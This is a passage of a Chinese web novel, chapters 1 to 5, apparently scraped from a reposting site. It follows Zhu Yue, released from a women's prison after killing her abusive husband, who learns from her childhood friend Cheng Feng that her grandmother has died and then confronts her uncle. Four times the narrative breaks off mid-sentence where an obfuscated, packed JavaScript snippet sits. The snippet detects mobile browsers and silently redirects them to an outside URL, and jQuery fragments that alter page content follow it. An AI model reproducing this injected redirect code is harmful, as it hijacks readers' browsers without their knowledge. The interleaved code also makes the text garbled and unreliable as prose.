《在围墙外等她[双救赎]》 1. 第 1 章 @晋江原创@ 六月,东霞市女子监狱。 竺月蜷着腿靠在墙角,手里捧着本《妇女权益保护法》。 青灰色的晨光从高处铁窗缝隙中挤进来,掠过墙面那排“自立者强”的标语,尘埃伴着光圈,在略显陈旧的监舍里斑驳落下。 狭小的房间紧密排列着六张简陋的高低床,钢板的床架上布满了深浅不一的棕褐色锈迹,一道道蜿蜒在金属表面,仿佛一条条无形的锁链。 竺月的床位在靠墙角的上铺。 床上铺着统一发放的被褥,颜色单调而朴素。 她小心翼翼翻到书本最后一页,从里面抽出一张泛黄的照片。 照片里的女人抱着个小女婴,年轻瓷白的脸透着慈爱。怀里婴孩则抬头望向母亲,乌溜溜的大眼睛懵懂而天真。 竺月瘦削的手轻柔摩挲过那张稚嫩的小脸。 那是母女二人仅有的一张合影。 像世上所有母亲一样,竺月也曾幻想过女儿长大后的样子,粉嫩嫩的小女孩,扎个小辫子,蹦蹦跳跳,朝她撒娇—— 竺月闭了闭眼。 没机会了。 捏着照片的手缓缓收紧,心头涌上阵阵荒凉。 她的圆圆,样子永远停在了两岁…… “58号。”门口传来管教民警陈丽箐平直的声音,“时间到了。” 竺月仔细收起照片,怀抱着书,一手扶着梯子慢慢爬下铁床。 刚站定,就见陈丽箐递了条裙子过来。 “你家人送的,说洗过了。” 今天是竺月出狱的日子。 她之前见过其它刑满释放的犯人,不管在狱里多么潦倒,出去时都会把自己拾掇得干净体面。 竺月的视线木然落在裙子上,浅蓝色的牛仔裙,款式简约,面料柔软。 看得出……价格不菲。 她初中时父母离异,之后各自再婚,没人管她。 就连她当初入狱,也只有母亲过来匆匆露了个脸。 至于奶奶…… 竺月想起五年前在法庭上的最后一面。 满头白发的老人突然冲过来打她,哭着骂她怎么那么傻? 她睫毛微敛,压下眼底黯淡。 “陈姐,您这边还有别的衣服吗?” 陈丽箐狐疑看向她,58号比她矮一些,一米六出头,娇小的身体套在宽宽的服刑服里,风吹就能倒似的。 她长相清秀,皮肤苍白。 单从外表,谁也想不到,这么瘦弱的女人竟然有力气推翻在她身上施暴的丈夫,还失手把人杀了…… 陈丽箐目光最后扫过竺月额头那道狭长的疤痕,尽管有刘海覆盖,还是隐约可以窥见当时的惨烈景象。 而在她身上,这种狰狞的伤疤还有很多。 陈丽箐在心底无声喟叹。 不在沉默中爆发,就在沉默中灭亡。 如果她不反抗,或许最后她才是那是那具冷冰冰的尸体…… 陈丽箐收回视线,“我给你找一套,你这件也先收起来吧。” “谢谢您。”竺月默默接过裙子。 那张脸还是那副清冷寡淡的样子,只有语气透出真心实意的感激。 陈丽箐调到这个监区八年,竺月绝对是她见过最省心最好管教的女犯人。 于公于私,都希望改造后的她,能出去重新开始。 她轻拍了下她肩膀,“嗯,你先把这些材料签了。” “好。” 竺月在东霞女监服刑五年,一向沉默寡言,独来独往。 除了阻止隔壁床的小兰自杀,和其他女囚几乎没有交流。 离开前,小兰抱了她一下,“月姐,替我看看外面的世界。” 小兰才十九岁,声音带着年轻女孩特有的稚嫩,但她还有十年刑期。 竺月伸手回抱住她,“好好改造,争取早点出来。” 小兰笑得没心没肺,“我巴不得一辈子住在这里。” 监狱里的生活,有人觉得是牢笼,有人却把它当成庇佑。 竺月不知该说什么,又抱了抱她。 之后陈丽箐带她去清点个人物品,结算狱内余额。 相比一些女犯人刑满时入不敷出的惨淡账面,竺月账上还剩了两千元。 管账民警说她家属每个月都会给她汇钱。 奶奶年事已高,平常跟着大伯父一家生活,每月靠着爷爷那点遗属补助…… 竺月捏着那叠钱,喉头微梗。 领过钱和路费,陈丽箐带她走出监区。 她重新给竺月找了套衣服,灰色T恤搭配黑色裤子,灰扑扑的一身,看起来和外面平常的工厂女工无二。 出狱的最后一关是身份核验。 竺月按照陈丽箐指示将手指放在指纹识别仪上。 她听见“滴”的一声,与此同时,墙上电子屏显示“刑期已满,身份核验通过”。 竺月漠然望着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660824|188427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那行字,心里说不出是什么滋味。 陈丽箐一路将她送到监狱大门才把释放证明书和减刑裁定书递给她。 “出去好好生活。” “谢谢陈姐。” 竺月低着头,脸上看不出悲喜,瘦削的肩膀微微佝偻。 陈丽箐算了算,从七年减刑为五年,她现在出去,也才二十九岁。 她再次拍了下竺月肩膀,语带宽慰,“还年轻,只要努力,一切都还来得及。” 竺月沉默着没接话。 有风吹过,掀起她细软的短发,额角长疤在阳光下无处遁形。 陈丽箐之前给她上过思想政治教育课。 该交代的都已经交代,她无声叹了口气,又拍了拍竺月肩膀,让人开了监狱大门。 厚重的大铁门在面前缓缓开启,像时光之门,高墙内的五年一晃而过。 浓郁的阳光利刃一般射过来,竺月下意识闭了闭眼。 监狱里的天空总是那么小小的一角,就算再怎么伸长脖子,也只是坐井观天。 不像现在,盛夏的阳光迎面袭来,湛蓝透彻的天空中飘着浮着大朵大朵的白云,目光所及,一览无余…… 竺月终于适应了外面的光线,她定了下神,刚要转头,陈丽箐冷肃的声音阻止了她。 “出去了就别回头。” 竺月便顿在那里。 垂在身侧的手微微攥紧,她缓缓舒了口气,提着东西跨出门槛。 钝重的大铁门很快在她身后闭合,阻绝了一切外面的窥视。 高墙内外,是两个截然不同的世界。 竺月木着脸站在门口。 蝉声阵阵,周遭一片空旷。 面前是一条被热浪蒸腾的柏油路,有车子呼啸而过,朝城区方向飞速驶去…… 空气中萦绕着久违的自由气息。 竺月望着这个熟悉又陌生的世界,迟迟没有迈步。 感觉就像小时候奶奶圈养的那群小鸡,鸡窝里关久了,突然有天让它们出去放风,却一只只瑟缩在墙角,怎么也不敢动…… 天气燥热沉闷,竺月眯着眼在附近梭巡了一圈,却并没有看到任何熟悉的人。 也是,奶奶腿脚不便…… 至于其他人,又怎么可能来接她? 竺月自嘲扯了下唇。 她定了定神,正要朝不远处的公交站走去—— “竺月姐。” 旁边突然传来一道年轻男声。 2. 第 2 章 @晋江原创@ 五年的女监生活,除了男狱警,竺月根本接触不到其他男性。 她愣了愣,直到对方又叫了一声,“竺月。” 年轻干净的男性嗓音透着清冽,好像夏日里的一缕凉风,舒缓悠远地吹入耳畔。 竺月的视线顺着被太阳晒裂的水泥地,掠过地上那道长长的黑影,最后迟疑落在前方那道高大的身形上。 那是一个约莫二十出头的年轻人,平头,白T恤搭配墨绿色工裤,身形挺拔,手里还捧着一盆太阳花。 竺月木然的脸上泛起一丝怔忪。 他在叫她? 青年抱着花朝她直直走来,晒成小麦色的清俊脸上,一双沉静的凤眸隐隐漾着喜悦的光。 竺月瞳仁微微震颤。 “竺月姐,我要去北方上大学了。” …… “等放假我就回来看你。” …… “竺月姐,有空给我打电话。” …… “竺月姐,你……要好好的。” …… 脑海里恍惚浮现另一道稍显青涩的嗓音。 她呆呆望着越走越近的那人,“程峰?” 程峰终于抱着花在她面前站定,一双乌黑瞳仁染着明澈的暖意。 “是我。” 有风从两人之间吹过,竺月鼻间传来一阵很淡的皂香。 干净,清爽。 她自上而下打量着他。 半晌才将跟前比她高出一大截的青年和记忆中羞涩寡言的男孩画上号。 程峰,她童年的小跟班。 竺月犹记得自己入狱前最后一次见他,好像还是在他养父的葬礼上。 那天下着雨,程峰抱着骨灰盒走在送葬队伍最前面,竺月站在路旁,只看见男孩沉肃孤寂的高瘦背影。 七年过去,程峰看起来黑了,壮了,眉宇间也更加英挺了。 只有那两束沉静悠远的眸光,一如从前。 那个自小跟在她身后叫姐姐的男孩长大了,长成一棵茁壮的小白杨。 只是谁能想到,再见面的地点竟是在她服刑的监狱外? 竺月眼底的光黯淡下去,“你怎么会来这里?” 程峰垂眸看向面前的人。 从前那个光鲜明媚的女孩瘦了很多,眼底的光也没了,娇小单薄的身形,好像风一吹就会消失…… 1825个日夜,她终于,出来了! 他抬手将花盆递到她面前,嘴角弯起一抹十分清浅的弧度,“我来…接你回家。” 竺月怔怔看向他手里。 茂盛的大花马齿笕葱郁而生机,五颜六色的花朵争先绽放,在太阳下折射出彩虹般的光景…… 和她苍白木讷的脸形成鲜明对比。 竺月脸上浮起一丝迷惘。 回家?回哪个家? 眼前突然浮现出多年前蒋家那血腥的一幕,水果刀捅进蒋庆明胸口,那个暴戾的男人瞳孔圆睁,惊恐而狰狞地望着她,红色的血从他胸口蔓延出来,沾得她满手都是…… 她扯了下唇,她哪还有家? 程峰将她脸上细微的表情变化尽收眼底。 他眨了下眼,努力克制着胸口涌上的阵阵酸楚。 这些年她拒绝所有人探视,他来了几次都没能见到她。 明明来之前在心里酝酿过无数的话,真的见到人了,却全部堵在喉头。 程峰捧着花盆的手微微收紧,他语气尽可能轻松,“以后都会好起来的。” 以后?好起来? 竺月默然。 在监狱这几年,几乎身边所有人都这么告诉她。 说她年轻又漂亮,出去后一切可以重头开始,甚至还能重新嫁人。 但她比谁都清楚,她的人生,从蒋庆明死掉的那天,就已经毁了。 根本不可能好起来! 面前的大男孩还捧着花盆眼巴巴地看着她,目光澄澈,表情微赧。 这个傻孩子! 竺月:“你带这个来干嘛?” 程峰被她说得耳垂一烫,“以前你送我的,你说皮实好养活,刚好这段时间一直在开花,我就带过来了……” “是吗?”在监狱呆了五年,有些事竺月已经记不清了。 也不重要了。 她视线落回他脸上,“带烟了没?” 轻描淡写的语气,像小时候问他要不要一起上山摘野果? “烟?”程峰讷讷动了动唇,他从不抽烟。 竺月将他的窘迫看在眼里。 也是,他从小就是根正苗红的老实孩子,就算村里小孩看不起他,欺负他,也从未因此变得自暴自弃…… 不像她,打架抽烟,连大学都没上…… 她收回视线,“算了。” “我去买。” 还未反应过来,手里被塞了满怀的太阳花。 竺月怔怔转头,程峰已经小跑着冲向马路对面。 他身形高壮,动作矫健,连跑步的姿态都充满旺盛的生命力。 她望着那道身影再次恍惚。 想起他小时候被人装在箱子里扔在村口,如果不是哑巴老程收养了他,或许都活不到今天。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660825|188427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁能想到,当初体弱多病的弃婴,有天会长成这么一个年轻壮实的大小伙。 如果老程还在,一定非常欣慰吧。 手里的花盆沉甸甸的,竺月低头看去,色彩鲜艳的太阳花,形态可爱,坚韧顽强,和程峰一样生机勃勃。 只有她,已经老了。 “看下喜欢哪种?”程峰很快买完烟回来。 刚才跑得匆忙,忘了问她抽什么,铁皮屋便利店那边都是一些便宜的香烟,最贵的也只有软中华,索性几种都买了,顺便买了水和饮料。 竺月把花盆递给他,从里面抽了包芙蓉王。 “这个……”程峰还以为软中华口味更好。 竺月却低头拆开了芙蓉王。 程峰只好指指不远处的榕树,“那边凉快些,要不要先喝水?” 他留意到她干燥起皮的嘴唇。 竺月摇头,手摁着打火机,几年没抽,试了几下都没能点着。 “我来吧。” 竺月咬着烟睨了他一眼。 程峰抢过她手里的打火机。 红色的塑料打火机,上面隐约还有她掌心的温度。 程峰耳廓一烫,勉强定了定神。 他擅长灭火,却是第一次点火。 有些笨拙地弹开机盖,“咔”的一声,蓝色的火苗很快蹿起。 他大手轻拢着火苗贴向她,火光后的那张脸,严肃又耐心。 倒是一次就点着了。 竺月含糊说了声“谢谢。” 程峰俊脸微赧,提过她手里的塑料袋,又走到了另一侧,高大的身体替她挡住了炎炎日光。 竺月两指夹着烟,缓缓吸了一口。 久违的尼古丁气息,苦涩、辛辣,冲进肺部的瞬间,混着燥热的空气,有种被灼烧的痛感。 两人走到树荫下,葱郁的枝条挡住了热辣的阳光,只剩几缕光点落在竺月脸上,和她手里染着的烟相互呼应。 竺月沉默抽着烟,袅袅烟雾让她神色愈发疏远。 程峰没说话,像从前那样,安静跟在她身旁。 只有沉静炙热的目光,时不时落在她脸上。 一根烟抽完,竺月的心里却更空了。 她咽了咽干燥的喉咙,抬头望向身侧的人,“我奶奶让你来的?” 程峰捧着花盆的手微微收紧,却没接话。 “?”竺月捏着烟头不解望他。 她睫毛轻敛,垂眸避开了她的视线,唇线微微下压。 良久。 竺月听见他低声说,“奶奶……已经不在了。” …… 3. 第 3 章 @晋江原创@ 又一阵喧嚣的蝉鸣传来,刺入耳膜,模糊了一切。 竺月一时没听清他的话。 “什么?” 程峰沉静的黑眸隐有不忍。 默然片刻,才低声重复:“竺奶奶……去世了。” 有风裹着燥热的气息扑面而至,空气突然粘稠又沉重。 竺月手里的烟还未熄灭,皮肤被余火灼出尖锐的疼。 程峰视线扫过那点零星火光,他脸色一沉,一把夺过烟头,重重捻灭。 竺月呆呆望着他,一脸茫然,“你说……我奶奶……走了?” 程峰没吱声,微微泛红的眼睛解释了一切。 竺月扯了扯唇,只觉荒诞无比,“这,这怎么可能呢?我大伯他们都没告诉我,奶奶那么健康,怎么会……” 她喃喃低语,“程峰你忽悠我呢,我奶奶才七十二岁,还没等我出来,我都还没孝顺她,还没弥补……” 她说不下去了。 咬着下唇,憔悴的脸色愈发苍白。 “竺月。”程峰低唤了声,脚步下意识朝她迈进,手虚虚探出,生怕她下一秒就会倒下去。 她眼中的苍凉令人心疼,但事实就是事实,程峰无法瞒骗她。 他语气酸涩,“是真的,竺奶奶……前年六月就走了。” 前年六月! 奶奶走了!走了!几个字重重敲在耳膜里,发出震颤的余音。 竺月不说话了。 她低垂着头,细软的头发缓缓下滑,纤细瘦削的肩膀耷拉着,仿佛一个做错事的孩子。 “月月吃饭了。” “不怕,月月还有阿嫲呢。” “我家月月将来要考女状元的。” “傻月月,你为什么那么傻,阿嫲以后怎么办?” 奶奶慈爱温暖的脸浮现眼前,竺月感觉好像被人捂住口鼻,胸口沉甸甸的,几乎快喘不上气来。 她的奶奶,世上最疼她的那个人…… 她的反应让程峰担心,他扯着唇试图安慰她,“奶奶……走的时候没有受太多罪,老人家只是,只是……” 他磕磕碰碰的,从没像这一刻那样懊恼自己的嘴笨,“竺月姐你——” “程峰。” 程峰话头一顿。 面前的人突然缓缓抬起头,“我想去去看她。” 程峰一震,“你要回老家?” 可是老家那些人现在对她…… 程峰看着她苍白的脸,心里不无担忧,“但是——” “带我去!” “竺月……” “带我去。” 竺月好像一台上了发条的机器,不住重复着这三个字。 程峰看着她泛红却坚决的眼睛,咬了下牙,终究无法拒绝。 “好,我带你去。” …… 程峰是开车来的,他前年毕业,今年年初才买的车。 一部二手朗逸,白色小车颇有些年头,动力倒还算不错。 竺月一路都没开口说话。 程峰买了些小面包和水放在车上,叫她却连应都没应,整个人呆呆地望着窗外。 他望着车内镜里那张沉默萧索的侧脸,只能无声叹气。 程峰在消防站练了两年,架势技术已经十分平稳。 沿着蜿蜒的山路开了一个多小时,两人终于抵达凤山茶厂后的墓园。 已是中午时分,被群山环绕的凤山墓园却十分凉爽,山风阵阵,空气中萦绕着茶树清新的气息。 一座座坟墓安静伫立在这片宽广而沉静的墓园里,沉默宁静,仿佛守望着岁月的流转。 这一片墓园属于东山村,几乎家家户户的祖坟都在这。 竺家也是。 竺月的太爷爷、太奶奶、爷爷、大伯公都葬在这里…… 而现在,这片又多了……她奶奶。 距离清明节不过三个月,偌大的坟墓又冒出了细细的杂草,坟头上覆着一层嫩绿的青苔,青苔之下,上了年头的墓碑上多了行新刻上去的字。 先妣竺母张氏老孺人之墓…… 竺月的手拂过冰凉的墓碑,那冷意,仿佛透过指尖直达心扉,冻出悲怆的痛觉。 眼前闪过从前种种画面,明明已经过去了很多年,但那些场景却依然十分清晰。 奶奶佝偻着身体在院子里晒衣服、喂鸡、赶鸭子,站在桥头目送她去上学,握着佛珠倚在门口打盹,被她捉弄醒来也只是慈爱而无奈地笑笑,说我去给你打饭…… 奶奶信佛,每天早上都要起来拜拜。竺月觉得好笑,问奶奶求什么?奶奶总是一脸虔诚,说求佛主保佑她的乖孙考上女状元,以后有个好姻缘。 竺月没能上大学,也没能拥有一段好婚姻。 父母离婚后,两人谁也不肯要她,是奶奶把她留在身边,顶着大伯一家的冷眼抚育她,在她最叛逆的那几年里耐心陪着她,照顾她,直到她高中毕业外出打工…… 竺月从前还哄过奶奶,说以后赚大钱了好好孝顺她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660826|188427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 现在,这话成了空头支票,永远都无法兑现了—— 又一阵凉爽的山风吹过,仿佛老人干枯的手,温暖拂过她脸颊…… 竺月跪在墓前,纤细的脊背微微颤抖。 奶奶,为什么您不能等我出来? 养我这么多年,却连您最后一面都没见到…… 您不是让我好好改造吗? 奶奶,奶奶…… 一旁程峰安静地将一束白色的马蹄莲放在墓碑前,调整枝叶,仔细摆好。 刚弄完,却见原本跪在地上的人倏地站起来。 程峰一愣,“去哪?” 竺月没应他,瘦弱的身体直直往外冲。 程峰三步并作两步追上去,几乎不费吹灰之力拦住她。 “竺月。” 他拉着她上臂,才发现面前的女人比看起来更瘦,纤细的手臂几乎一拧就能断。 他心疼不已,连忙放轻动作,“竺月……” 竺月摇着头,眼中一滴泪也没有,只有苍白失神的脸上写满执拗。 “为什么?为什么他们不告诉我?为什么要瞒着我……” 程峰心头一酸,“他们……也是想让你安心……” 竺月嗤笑了声,笑容凄楚绝望,“他们讨厌我,恨不得奶奶不再管我……” 她的神色尖锐起来,“你放开,不要拦着我。” “你别激动。”程峰连忙扶着她双臂。 竺月红着眼眶瞪他。 四目相对,他眼中盛着热意,“我陪你去!” …… 半个小时后,程峰的车停在竺月大伯家门口。 下车时隔壁邻居认出了他,“哟,这不是程峰吗?这么多年没见,听说你都在城里当上消防干部了?” “找对象没?要不要婶给你介绍个?就我那个教书的侄女,和你一样,都是有铁饭碗的……” 那妇女原本还在絮絮叨叨,突然看见他车副驾驶座下来个身形娇小的女人。 不由愣了愣。 等看清竺月那张脸,表情霎时像吞了个鸡蛋,“夭寿啦,这不是老竺家那个杀……” 程峰扫了她一眼。 妇女瞬间闭嘴。 视线却还惊疑不定流连在竺月身上。 程峰不再管她,三步并作两步追上前面那道纤瘦的身影。 看着两人朝竺建州家大门走去,妇女顾不得其他,赶紧收起碗回去通知家人。 竺家那个竺月出狱了!!! 4. 第 4 章 @晋江原创@ 小平房里,竺建州夫妻刚吃完午饭。 刘凤霞边收碗筷边问丈夫,“卖老宅的事真不用告诉你弟?” “多少年没回来了,有什么好说的。”竺建州剔着牙满不在乎道,“这些年老太婆都是咱们在养,连他那赔钱货女儿都贴靠咱家,我卖个老宅怎么了?反正老二都定居在越城,以后这房子也没人住了。” “房子毕竟是你俩兄弟一起建的,他也占了一半。”刘凤霞叹气,“而且老太太临终前也说了,房子要留一半给竺月,算算时间,她也快出狱了吧,到时咱们——” “到时个屁啊。” 竺建州没好气唾了声,“人都不在你怕什么,难道你还想让那个杀/人犯回来?” “但是她婆家那边肯定回不去了,她爸妈又不管她,那她以后能去哪儿?” “头发长见识短,你现在还同情她?”竺建州牛眼一瞪,“咱竺家名声都让她给败了,要不是老二媳妇早就定好,谁家姑娘敢嫁过来?再说了,现在聘金那么高,不然老二娶媳妇钱哪里来?” “毕竟她也是个苦命的孩子……”同样身为女人,刘凤霞想起从前农忙时小丫头跑前跑后帮忙干活的场景,有些于心不忍,“她老公打她那么狠,她要是不反抗,早晚会被打死。” “怪谁,找对象的时候不看清楚,孩子都生了才想起反抗,害人害己。”竺建州摆了摆手,“反正卖都卖了,她一个嫁出去的小辈还有什么资格和我争?” “那也——” “大伯!”突然响起的女声打断了刘凤霞的话。 夫妻二人循声转头,看见一对年轻男女走进门来。 男的挺拔高大,长相俊朗,看着像是哑巴老程那个养子。 至于女的—— 刘凤霞瞪了瞪眼,一脸难以置信,“竺月?” 真是白天不能说鬼。 竺建州目光闪了下,视线扫过几年未见的侄女,只觉晦气得不行,居然这么快就放出来了? 竺月仿佛没看见大伯脸上的嫌恶,她径自朝他走去,声音微颤,“奶奶去世的事,您为什么不告诉我?” 夫妻二人相视一眼,竺建州原本还以为她是来问房子,闻言暗自松了口气,却瞪眼道,“不告诉你怎么了?” 竺月咬牙望他,心里一阵悲愤,“奶奶那么疼我,她病重,你们……为什么要瞒着我?” 刘凤霞看着她苍白消瘦的脸,“竺月,这事其实——” “呵。”竺建州嗤笑着打断她,“就算告诉你又怎么样?老太太临终病成那样,床前床后都离不开人,怎么,你还能回来尽孝?” “……” 嘲弄的语气仿佛一根利箭,刺得竺月脸色愈发苍白,她张了张嘴,却说不出反驳的话。 “竺伯伯,话也不能这么说吧?”身后程峰跟过来,他语气和缓,“竺月姐和奶奶感情那么好,奶奶肯定也想见她最后一面。” “最后一面?”竺建州声色激动了起来,他一脸控诉地指了指侄女,“如果不是因为她,老太太能走得这么早吗?” 程峰:“竺奶奶她——” “程峰,你也不是外人了。”竺建州摆了摆手,“你从小跟她一块长大,老太太也把你当一半亲孙子看待,你来说句公道话,要不是因为她被抓,老太太也不至于受那么大打击。一把年纪的老人了,你说谁受得了?” 他眼带愤恨看向侄女,“竺月,做人要讲良心,你爸妈不要你,老太太对你够好的吧?天天背着我们一家省吃俭用供你上学,我们说什么了吗?你再看看你自己那些年做的事,哪一样没让她操心了?” “行了,过去的事就别说了。”一旁刘凤霞劝他。 “怎么就过去了?”竺建州冷笑,“我都没找她算账呢,这丫头竟然还敢来找我们兴师问罪?也不想想到底谁才是罪魁祸首?” “知道你被抓的时候老太太头发全白了,几天吃不下睡不好,后面又看着你被判了七年,老太太天天在家以泪洗脸。她本来身体挺硬朗的,还念叨着要帮你带孩子,结果呢?” “那么疼你,最偏心的就是你!就连弥留之际心心念念的还是你,而你呢?你又是怎么回报她的——” “那你也应该告诉我!”竺月颤抖着叫了声。 她的奶奶,从小到大那么疼她的奶奶,她最连她最后一面都没能见到。 “你都关在里面了,我怎么通知你?”竺建州大声回吼,脖颈青筋暴起,“让你戴着镣铐出来送终?是不是想让老太太走都走得不安宁?” “如果不是因为你,老太太还能多活几年。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660827|188427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“竺月,你就是个祸害!” “够了!” 程峰上前一步,高大的身体将竺月牢牢挡在身后,“竺伯伯,奶奶的离开大家都很难过,但错不在竺月,她也是受害者,她也很难过,您……您不该把错归咎到她一个人身上。” “程峰,你到现在还想护着她?”竺建州摇头,“你小时候吃了那么多苦,好不容易混出头了,我劝你以后也最好离她远一点,这丫头坐过牢,是有前科的——” “那又怎么样?”程峰声音微沉,清隽的脸上难得现出明显的情绪,“不管她经历过什么,我只知道她是竺月姐,是以前照顾我帮助我的竺月姐,你们怕,我不怕!” “竺伯伯,我以前一直很尊重您,没想到……”他深吸了口气,“您这样,真的很让我失望!” 说完再不看两人,他拉过竺月就往外走。 “程峰,程峰……”一旁刘凤霞本想追过去,却被竺建州一把拉住,“让他们走!自己大好的前景,非要跟一个作奸犯科厮混在一起,以后别怪我没提醒他!” 程峰恍若未闻,拉着竺月快步走了出去。 门口原本围了几个看热闹的妇女,看见人高马大的程峰一脸怒容出来,忙作鸟兽散。 程峰此刻却顾不得大家怎么看。 他走在竺月面前,只想带她尽快离开。 他就不该带她来竺建州家! 白色朗逸就停在不远处,他松开竺月手腕,大步走向副驾驶座一把拉开车门—— 程峰等了会儿,身后的人却并没跟过来。 “竺月?” 午后的风燥热吹过,竺月低着头,碎发挡住了她的脸,看不出脸上的情绪。 “竺月?”程峰又叫了声,他语气和缓了几分,“我们先去吃饭吧?” 折腾半天,她一定也饿了。 “竺月?” 头顶的夏蝉大声叫嚣着,空气燥热又沉闷。 又一阵风吹过,竺月终于抬起头来。 那张苍白的脸木然望着他。 程峰:“……” 只觉她在看他,又好像没有看他。 两束幽冷的视线仿佛穿过他身体,落向身后某个虚无的世界。 良久,她低声开口,“程峰,你走吧。” …… 5. 第 5 章 @晋江原创@ 程峰怔了怔,“竺月……” 竺月:“你回去吧,以后也不要来找我了。” 她说这话时脸上没有太多情绪,只有那双乌黑的眼睛,染着一层淡淡的萧瑟。 程峰心头一酸,“那你呢?” 竺奶奶走了,她父母根本不管她,大伯又那样,她一个人要去哪里? 竺月摇了摇头,“你不用管。” 程峰垂在身侧的手紧握成拳。 怎么可能不管她?当年要是他勇敢点,或许她就不会那么早嫁人了。 只是那会他才十六岁,刚初中毕业,根本什么都给不了她。 但现在不一样,他已经参加工作了,他有收入,他……他可以养她! 程峰深吸了口气,终于鼓起勇气看向她,“竺月,你跟我回东霞吧。” 跟他回东霞? 竺月视线缓缓聚焦在他脸上。 时间仿佛在这一刻静止了。 四目相对,程峰瞳仁微微缩紧,喉结不自觉滚了下。 印象中,他连第一次出任务都没这么紧张。 竺月的目光停留在他年轻英挺的眉眼间,随即嗤笑,“再回狱里吗?” “……” 迎着那双嘲弄的眼睛,程峰瞬间涨红了脸,“我,我不是那个意思。” 他从小不爱说话,长大也不善言辞,尤其被她这样一看,只觉心跳如擂鼓,大脑一片空白。 程眸垂眸避开她的视线,勉强组织着语言,“我,我在东霞上班,你你可以先跟我——” “哐当”一声,一道重重的关门声打断了他的话。 程峰循声看去,才发现竺建州家的大门已经关上了。 严丝合缝的老式木门,有种拒人以千里之外的冰冷感。 程峰下意识看向竺月,后者却没什么反应,脸上表情淡冷,好似没听见那道针对性十足的关门声。 “算了吧。” 竺月拉开车门,默默拿出自己从监狱里带出来的那个塑料袋。 “程峰,谢谢你来接我。”她低声道,“你回去上班吧。” “我这两天休假,不急的。” 程峰不肯就这么放她走,他上前一步,身体一堵墙似的挡在她面前,“竺月,你跟我去东霞吧,去城里,一切都可以从头再来,那里跟东山村不一样,我们重新开始……” 说到后面,语气近似请求。 竺月却只觉得好笑。 像她这样有污点的人,怎么可能重新开始? “别傻了。”她嘴角一哂,越过他想要离开。 程峰急了,伸手就去拉她,“竺月……” 他长得高大,力气更是大的惊人,竺月触不及防,整个人差点被他拽倒。 程峰一窘,手忙脚乱扶着她肩膀将人稳住—— 附近隐约传来压低的哄笑声。 斜对面房子门口还站着几个妇女,也不知道站那边围观了多久? 程峰皱眉扫了眼那些人,连忙松开手,“对不起,我不是故意的。” 竺月轻闭了闭眼,再睁眼时眸底只剩一片疏冷。 “程峰,你觉得我还不够可笑吗?” 程峰愣愣看着她。 她就站在面前,明明近在咫尺,却又远在天边。 横亘在两人之间的,仿佛不仅仅是七年的时光…… 午后的风携裹着燥热的气息汹涌而至,风吹乱了她细软的头发,凌乱裹住了那张巴掌似的脸。 程峰的手迟疑动了动,伸到半空,又缩了回来。 两人相差五岁,小时候她比他高很多,他跟在她身后追都追得很吃力。 可现在,她才到他肩膀,骨架纤细,瘦小又脆弱…… 程峰心头堵得慌,他压低嗓音,语气前所未有的认真,“竺月,我们离开这里,东霞工作好找,我带你去派出所重新注册户籍,还有社保那些,等都办好了就可以——” “程峰。”竺月终于抬起头,碎发后那双漆眸无波无澜望着他,“这些年……都是你给我汇钱的吧?” 程峰一愣,扑闪的眸光慌乱避开她,“没,不是,我……” 语无伦次也不知道在说什么。 竺月自嘲一笑,视线掠过自己脚上那双崭新的布鞋,包括今早陈丽箐给的那条裙子。 奶奶走了,这个世上哪里还会有人在意她的死活? 也只有……这个傻弟弟了。 她抬头望向那张年轻清隽的脸,他如今长得这么高,再也不是小时候需要她保护的那个小可怜,以后谁也不敢欺负他了。 竺月拉开塑料袋,将管账民警退给她的两千元拿了出来。 “程峰……” 程峰呆呆看着她,等意识到她要做什么,连忙后退了一步,说什么也不肯接。 “你留着吧,我不用,真的,不是我……” 然而竺月比他更坚持。 她上前一步,不由分说将钱塞进他手里,“程峰,如果你还当我是姐姐,就把钱收回去。” 程峰嘴唇动了动,小麦色的脖颈红成一片。 两人从小一起长大,竺月勇敢又强势,不管发生什么,都会冲在他前头,有什么事,也 